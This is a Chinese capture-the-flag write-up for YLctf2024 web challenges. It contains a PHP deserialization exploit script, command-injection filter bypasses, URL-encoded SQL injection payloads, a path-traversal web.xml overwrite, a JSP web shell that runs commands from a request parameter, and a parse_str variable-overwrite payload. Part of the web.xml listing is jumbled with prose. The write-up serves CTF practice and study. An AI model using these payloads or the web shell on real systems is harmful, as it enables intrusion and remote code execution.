title: YLctf2024
date: 2024-10-28 19:23:59
tags: [sql 的 join, php 反序列化,xml 文件上传]
categories: [比赛复现]
# 简单 :pExpl
源码:
<?php | |
error_reporting(0); | |
class FileHandler { | |
private $fileHandle; | |
private $fileName; | |
public function __construct($fileName, $mode = 'r') { | |
$this->fileName = $fileName; | |
$this->fileHandle = fopen($fileName, $mode); | |
if (!$this->fileHandle) { | |
throw new Exception("Unable to open file: $fileName"); | |
} | |
echo "File opened: $fileName\n"; | |
} | |
public function readLine() { | |
return fgets($this->fileHandle); | |
} | |
public function writeLine($data) { | |
fwrite($this->fileHandle, $data . PHP_EOL); | |
} | |
public function __destruct() { | |
if (file_exists($this->fileName) &&!empty($this->fileHandle)) { | |
fclose($this->fileHandle); | |
echo "File closed: {$this->fileName}\n"; | |
} | |
} | |
} | |
class User { | |
private $userData = []; | |
public function __set($name, $value) { | |
if ($name == 'password') { | |
$value = password_hash($value, PASSWORD_DEFAULT); | |
} | |
$this->userData[$name] = $value; | |
} | |
public function __get($name) { | |
return $this->userData[$name] ?? null; | |
} | |
public function __toString() { | |
if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){ | |
call_user_func($this->data,$this->params); | |
} | |
return "Hello"; | |
} | |
public function __isset($name) { | |
return isset($this->userData[$name]); | |
} | |
} | |
class Logger { | |
private $logFile; | |
private $lastEntry; | |
public function __construct($logFile = 'application.log') { | |
$this->logFile = $logFile; | |
} | |
private function log($level, $message) { | |
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL; | |
file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND); | |
} | |
public function setLogFile($logFile) { | |
$this->logFile = $logFile; | |
} | |
public function clearOldLogs($daysToKeep = 30) { | |
$files = glob("*.log"); | |
$now = time(); | |
foreach ($files as $file) { | |
if (is_file($file)) { | |
if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) { | |
unlink($file); | |
} | |
} | |
} | |
} | |
public function __call($name, $arguments) { | |
$validLevels = ['info', 'warning', 'error', 'debug']; | |
if (in_array($name, $validLevels)) { | |
$this->log(strtoupper($name), $arguments[0]); | |
} else { | |
throw new Exception("Invalid log level: $name"); | |
} | |
} | |
public function __invoke($message, $level = 'INFO') { | |
$this->log($level, $message); | |
} | |
} | |
if(isset($_GET['exp'])) { | |
if(preg_match('/<\?php/i',$_GET['exp'])){ | |
exit; | |
} | |
$exp = unserialize($_GET['exp']); | |
throw new Exception("Test!"); | |
} else { | |
highlight_file(__FILE__); | |
} |
访问题⽬⾸⻚发现直接提供 php 源码,简单分析代码,实现了⼀个反序列化功能,提供了⼏个类。存在 throw
new Exception ("Test!"); 和检测 <?php ,可以通过绕过 gc 和 短标签的形式去绕过该限制。
构造⼀下 POP 链,根据分析利⽤点在以下代码:
private function log($level, $message) { | |
$this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL; | |
file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND); | |
} |
触发点通常就是常⻅的 __destruct () , 也就是如下:
public function __destruct() { | |
if (file_exists($this->fileName) &&!empty($this->fileHandle)) { | |
fclose($this->fileHandle); | |
echo "File closed: {$this->fileName}\n"; | |
} | |
} | |
} |
通过它调⽤到 User#__toString , 该⽅法中存在 call_user_func 函数,思考能不能直接触发命令执⾏,由于存
在参数的限制,显然不能直接调⽤,所以考虑调⽤类中不存在的函数,触发 __call ⽅法。
public function __call($name, $arguments) { | |
$validLevels = ['info', 'warning', 'error', 'debug']; | |
if (in_array($name, $validLevels)) { | |
$this->log(strtoupper($name), $arguments[0]); | |
} else { | |
throw new Exception("Invalid log level: $name"); | |
} | |
} |
由于上述代码中,存在 in_array 的判断,所以需要调⽤到 array 中的⼀个,然后在触发⽂件写⼊,构造 exp 如下:
<?php | |
class FileHandler { | |
private $fileHandle; | |
private $fileName; | |
public function __construct($fileName){ | |
$this->fileName = $fileName; | |
} | |
} | |
class User { | |
private $userData = []; | |
} | |
class Logger { | |
private $logFile; | |
private $lastEntry; | |
public function __construct($logFile) | |
{ | |
$this->logFile = $logFile; | |
} | |
} | |
$c = new Logger("/var/www/html/1.php"); | |
$b = new User(); | |
$b->data = [$c,"info"]; | |
$b->params = "<?=phpinfo()?>"; | |
$a = new FileHandler($b); | |
$a1 = array($a,null); | |
$s = serialize($a1); | |
$s = str_replace('1;N', '0;N', $s); | |
echo urlencode($s); |
# 简单:shxpl
域名查看器:
# 过滤:空格可以用 %09 代替
baidu.com,过滤了;,|| ------- 但是没有过滤 &&
过滤了 cat,tac,less, 可以用 more,nl 代替
flag 被过滤就用通配符 [a-z],? 也行
# ![image-20241028194336828]()
# [Round 1] sInXx
可以进行查询,但是发现怎么也不能注入,这里的空格变成了 %09 才能注入
一个:juan79%27%09and%09%281%3D1%29%23
一个:juan79%27%09and%09%281%3D2%29%23
用 union select 联合注入,但是不能用,就只能用 join
数据表:
1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23
数据列:
1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09 sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#
数据:
1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%09%602%60%09FROM%09%28SELECT%09*%09FROM%09%28%28SELECT%091%29a%09JOIN%09%09%28SELECT%092%29b%29%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG%29p%09limit%092%09offset%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23
中等 **-TOXEC**
题⽬提供了⼀个简单的⽹盘存储功能,如下图:
经过测试可以上传除含有 jsp、class 的⽂件,同时经过测试,在重命名处,可以利⽤ ../ 穿越⼀层⽬录,所以我们
考虑利⽤替换 web.xml 来实现 RCE,上传内容如下:
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee | |
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" | |
version="3.1"> | |
<welcome-file-list> | |
<welcome-file>index.html</welcome-file> | |
</welcome-file-list> | |
<!-- 配置默认 servlet 来处理静态资源 --> | |
<servlet-mapping> | |
<servlet-name>default</servlet-name> | |
<url-pattern>/</url-pattern> | |
</servlet-mapping> | |
<servlet> | |
<servlet-name>jsp</servlet-name> | |
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class> | |
</servlet> | |
<!-- JSP Servlet 映射 --> | |
<servlet-mapping> | |
<servlet-name>jsp</servlet-name> | |
<url-pattern>*.jsp</url-pattern> | |
<url-pattern>*.jspx</url-pattern> | |
通过重命名进⾏替换: | |
以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下: | |
上传后访问并执⾏命令,如下图: | |
中等-Injct | |
访问⾸⻚发现如下界⾯: | |
<url-pattern>*.xml</url-pattern> | |
</servlet-mapping> | |
</web-app> |
通过重命名进⾏替换:
以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下:
<% | |
if("023".equals(request.getParameter("pwd"))){ | |
java.io.InputStream in = | |
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); | |
int a = -1; | |
byte[] b = new byte[2048]; | |
out.print("<pre>"); | |
while((a=in.read(b))!=-1){ | |
out.println(new String(b)); | |
} | |
out.print("</pre>"); | |
} | |
%> |
上传后访问并执⾏命令,如下图
重命名大多是可以目录穿越的
# [Round 2] Cmnts
get_th1s_f1ag.php
<?php | |
include 'flag.php'; | |
parse_str($_SERVER['QUERY_STRING']); | |
if (isset($pass)) { | |
$key = md5($pass); | |
} | |
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') { | |
echo $flag; | |
} | |
else { | |
highlight_file(__FILE__); | |
} |
根据分析,只要满⾜ $key == 'a7a795a8efb7c30151031c2cb700ddd9' 即可以提供 flag ,该代码还提供了
parse_str 函数,该函数的功能如下图:
所以,构造如下 payload :
?key=a7a795a8efb7c30151031c2cb700ddd9